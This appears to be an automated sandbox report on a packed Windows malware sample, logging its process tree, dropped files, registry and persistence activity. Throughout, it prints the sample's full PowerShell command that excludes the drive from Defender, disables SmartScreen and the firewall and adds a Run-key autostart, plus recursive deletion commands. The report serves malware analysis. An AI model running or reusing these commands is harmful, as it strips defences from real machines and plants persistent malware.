Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\ProgramData\UpSys.exe "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 4904 -s 2364
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\netsh.exe "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\UpSys.exe	Process created: C:\ProgramData\UpSys.exe "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
Source: C:\Users\user\Desktop\e4.exe	Process created: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe "C:\Users\user\AppData\Local\Temp\TextOutputHost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\ProgramData\UpSys.exe "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\netsh.exe "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM

Source: C:\Users\user\Desktop\e4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\e4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\e4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\e4.exe

File created: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Jump to behavior

Source: e4.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
Source: C:\Users\user\Desktop\e4.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6188:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6568:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2432:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5192:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7068:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5704:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2260:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6836:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6784:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6384:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1112:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6824:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3060:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6888:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5656:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6892:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5016:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6736:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4712:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2956:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5328:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7144:120:WilError_01
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4904
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6940:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6584:120:WilError_01

Source: C:\Users\user\Desktop\e4.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\MicrosoftNetwork\System.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\ProgramData\MicrosoftNetwork\System.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\ProgramData\MicrosoftNetwork\System.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: e4.exe

Static file information: File size 4760524 > 1048576

Source: e4.exe

Static PE information: Raw size of .boot is bigger than: 0x100000 < 0x460c00

Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: TextOutputHost.exe, 0000000C.00000000.612016283.00007FF633F49000.00000040.00000001.01000000.00000009.sdmp, System.exe, 00000014.00000002.713920683.00007FF6BA599000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: TextOutputHost.exe, 0000000C.00000000.612016283.00007FF633F49000.00000040.00000001.01000000.00000009.sdmp, System.exe, System.exe, 00000014.00000002.713920683.00007FF6BA599000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: Z:\Oreans Projects\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: e4.exe, 00000000.00000002.526701138.0000000000A3C000.00000040.00000001.01000000.00000003.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\e4.exe

Unpacked PE file: 0.2.e4.exe.a10000.0.unpack .text:ER; :R; :R;.imports:W;.rsrc:R;.themida:EW;.boot:ER;.taggant:ER; vs .text:ER; :R;

Source: C:\Users\user\Desktop\e4.exe	Code function: 0_2_02050181 push edi; retn 0001h		0_2_02050182
Source: C:\Users\user\Desktop\e4.exe	Code function: 0_2_02050191 push edi; retn 0001h		0_2_02050192

Source: e4.exe

Static PE information: 0xBDD186FA [Mon Dec 1 02:10:02 2070 UTC]

Source: e4.exe	Static PE information: section name:
Source: e4.exe	Static PE information: section name:
Source: e4.exe	Static PE information: section name: .imports
Source: e4.exe	Static PE information: section name: .themida
Source: e4.exe	Static PE information: section name: .boot
Source: e4.exe	Static PE information: section name: .taggant
Source: TextOutputHost.exe.0.dr	Static PE information: section name:
Source: TextOutputHost.exe.0.dr	Static PE information: section name:
Source: TextOutputHost.exe.0.dr	Static PE information: section name:
Source: TextOutputHost.exe.0.dr	Static PE information: section name:
Source: TextOutputHost.exe.0.dr	Static PE information: section name:
Source: TextOutputHost.exe.0.dr	Static PE information: section name:
Source: TextOutputHost.exe.0.dr	Static PE information: section name:
Source: TextOutputHost.exe.0.dr	Static PE information: section name: .imports
Source: TextOutputHost.exe.0.dr	Static PE information: section name: .themida
Source: TextOutputHost.exe.0.dr	Static PE information: section name: .boot
Source: System.exe.12.dr	Static PE information: section name:
Source: System.exe.12.dr	Static PE information: section name:
Source: System.exe.12.dr	Static PE information: section name:
Source: System.exe.12.dr	Static PE information: section name:
Source: System.exe.12.dr	Static PE information: section name:
Source: System.exe.12.dr	Static PE information: section name:
Source: System.exe.12.dr	Static PE information: section name:
Source: System.exe.12.dr	Static PE information: section name: .imports
Source: System.exe.12.dr	Static PE information: section name: .themida
Source: System.exe.12.dr	Static PE information: section name: .boot

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: e4.exe

Static PE information: real checksum: 0x48cb7b should be: 0x499535

Source: initial sample	Static PE information: section name: .taggant entropy: 6.831438759664922
Source: initial sample	Static PE information: section name: entropy: 7.986305284281115
Source: initial sample	Static PE information: section name: entropy: 7.986305284281115

Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	File created: C:\ProgramData\MicrosoftNetwork\System.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	File created: C:\ProgramData\UpSys.exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	File created: C:\ProgramData\MicrosoftNetwork\System.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\UpSys[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\e4.exe	File created: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	File created: C:\ProgramData\UpSys.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\mpssvc

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk

Jump to behavior

Source: C:\Users\user\Desktop\e4.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes	Jump to behavior
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
